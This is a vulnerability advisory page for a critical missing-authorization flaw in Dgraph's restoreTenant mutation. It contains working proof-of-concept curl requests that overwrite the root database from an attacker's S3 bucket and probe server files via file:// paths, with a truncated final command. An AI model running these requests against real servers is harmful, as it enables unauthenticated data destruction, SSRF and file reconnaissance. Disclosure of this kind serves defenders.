Skip to content
dgraphGHSA-p5rh-vmhp-gvcw

Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization

Critical10.0CVE-2026-34976 · Published Apr 2, 2026 · updated Sep 10, 2026

GitHub advisory

Affected versions

PackageAffectedFixed in
github.com/dgraph-io/dgraph
Go
<= 1.2.8No fix yet
Details and references

The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware. This mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF. ## Authentication Bypass Every admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map. When middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging. ## PoC 1: Pre-Auth Database Overwrite The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database: # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials. curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }" }' # Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}} # The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace). The resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data. Note: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys: mutation { restoreTenant(input: { restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true }, fromNamespace: 0 }) { code message } } ## Live PoC Results (Dgraph v24.x Docker) Tested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison: # restore (HAS middleware) -> BLOCKED $ curl ... '{"query": "mutation { restore(...) { code } }"}' {"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]} # restoreTenant (MISSING middleware) -> AUTH BYPASSED $ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}' {"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]} The `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic. Filesystem enumeration also confirmed with distinct error messages: - `/etc/` (exists): "No backups with the specified backup ID" (directory scanned) - `/nonexistent/` (doesn't exist): "The uri path doesn't exists" (path doesn't exist) - `/tmp/` (exists, empty): "No backups with the specified backup ID" (directory scanned) ## PoC 2: Local Filesystem Probe via file:// Scheme curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fro

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-862
Also known as
CVE-2026-34976, GO-2026-5529

More dgraph advisories

All

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.